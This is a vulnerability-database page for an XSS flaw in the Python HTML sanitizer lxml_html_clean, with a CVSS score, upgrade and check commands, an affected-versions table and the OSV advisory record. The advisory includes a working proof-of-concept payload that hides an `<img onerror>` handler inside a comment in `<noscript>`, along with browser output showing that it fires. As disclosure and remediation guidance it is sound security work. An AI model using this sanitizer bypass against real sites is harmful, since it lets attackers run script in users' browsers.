CVE-2026-141555: lxml_html_clean Cross-Site Scripting Vulnerability
MODERATECVE-2026-141555 is a MODERATE (CVSS 4.7) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting lxml_html_clean libraries in the PyPI ecosystem. The issue involves cleaner(comments=false) keeps a comment that closes <noscript> in the browser, which allows xss. Remediation is available by upgrading affected packages to version 0.4.7.
CVE-2026-141555 at a Glance
Security Impact
CVSS: 4.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-141555
To remediate this vulnerability, upgrade all affected lxml_html_clean dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install lxml-html-clean>=0.4.7
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show lxml-html-clean
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-141555, inspect your installed packages using pip:
pip show lxml-html-clean
Analyze the terminal output to locate any version of lxml_html_clean in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.7), your application is affected.
Note: The pip show lxml-html-clean command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In lxml_html_clean, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-141555 Affected lxml_html_clean Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
lxml-html-clean
|
PyPI |
< 0.4.7
|
0.4.7
|
References
Frequently Asked Questions
What is CVE-2026-141555?
Which lxml_html_clean versions are affected?
What version fixes CVE-2026-141555?
Is lxml-html-clean affected?
What is the CVSS score of CVE-2026-141555?
What CWE is associated with CVE-2026-141555?
How can I check PyPI dependencies for CVE-2026-141555?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-vfhw-gfwp-vxfj",
"modified" : "2026-12-03T02:40:18Z",
"published" : "2026-12-03T02:40:18Z",
"aliases" : [ "CVE-2026-141555" ],
"summary" : "lxml_html_clean: Cleaner(comments=False) keeps a comment that closes <noscript> in the browser, which allows XSS",
"details" : "## Summary\n\nWith `comments=False`, the Cleaner removes only IE conditional comments (`lxml_html_clean/clean.py:363-366`, `kill_conditional_comments` at `599-607`) and keeps every other comment (`421-422`, `511-513`). libxml2 parses the content of `<noscript>` as markup, so `<!--</noscript><img src=x onerror=...>-->` is a single comment node and is returned unchanged. A browser with scripting enabled treats `<noscript>` as raw text, closes it at the first `</noscript>`, and parses the rest as live markup. The `<img onerror>` handler runs when the cleaned output is rendered in a page, with no click.\n\nThe default `Cleaner()` is not affected, because it removes all comments. The same comment outside `<noscript>` stays an inert comment in the browser.\n\nThis is the parser difference from GHSA-5jfw-gq64-q45f. The `</noscript` check added for it (`clean.py:668-670`) is applied to `<style>` text only.\n\nTested on lxml_html_clean 0.4.6 from PyPI (same commit as `main`), lxml 6.1.3, libxml2 2.14.6, Python 3.12.16, Chromium 159.0.8154.13 headless, with no network. The output is byte-identical on 0.1.0, 0.2.0, 0.4.0, 0.4.4 (lxml 5.1.0, libxml2 2.12.3) and 0.4.5.\n\n## Reproduction\n\n```python\nfrom lxml_html_clean import Cleaner\nP = '''<noscript><!--</noscript><img src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\">--></noscript>'''\nprint(Cleaner(comments=False).clean_html(P))\nprint(Cleaner().clean_html(P))\n```\n\n```text\n[A1] claim: comment in noscript, comments=False\n out: <noscript><!--</noscript><img src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\">--></noscript>\n[A2] same input, default Cleaner()\n out: <noscript></noscript>\n[A3] same comment outside noscript, comments=False\n out: <div><!--</noscript><img src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\">--></div>\n```\n\nEach output was placed inside a `<div>` of a static page and loaded in Chromium:\n\n```text\nA1.html title=FIRED fired=1 scripting_on=True imgs=['<img src=\"x\" onerror=\"window.__fired=(window.__fired||0)+1;document.title=\\'FIRED\\'\">'] noscript=[{'children': 0, 'text': '<!--'}] comments=[]\nA2.html title=CLEAN fired=0 scripting_on=True imgs=[] noscript=[{'children': 0, 'text': ''}] comments=[]\nA3.html title=CLEAN fired=0 scripting_on=True imgs=[] noscript=[] comments=['</noscript><img src=x onerror=\"window.__']\n```\n\nAssigning the cleaned string to `innerHTML` also runs the handler.\n\n## Suggested fix\n\nIn `kill_conditional_comments`, also drop a comment when its text contains `</` followed by the tag name of one of its ancestors. With that change the payload becomes `<noscript></noscript>`, and comments such as `<!-- note: 1 < 2 -->` and `<!-- <b>old</b> -->` are kept. Reusing `_looks_like_tag_content` (`clean.py:52-54`) on the comment text also stops the payload, but it removes commented-out markup like `<!-- <b>old</b> -->` too.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "lxml-html-clean"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.4.7"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.4.6"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-vfhw-gfwp-vxfj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-141555"
}, {
"type" : "WEB",
"url" : "https://github.com/fedora-python/lxml_html_clean/commit/c83f0befb32505782858f56a17ac572fbf979f62"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/fedora-python/lxml_html_clean"
}, {
"type" : "WEB",
"url" : "https://github.com/fedora-python/lxml_html_clean/releases/tag/0.4.7"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-03T02:40:18Z",
"nvd_published_at" : "2026-12-02T21:18:11Z"
}
}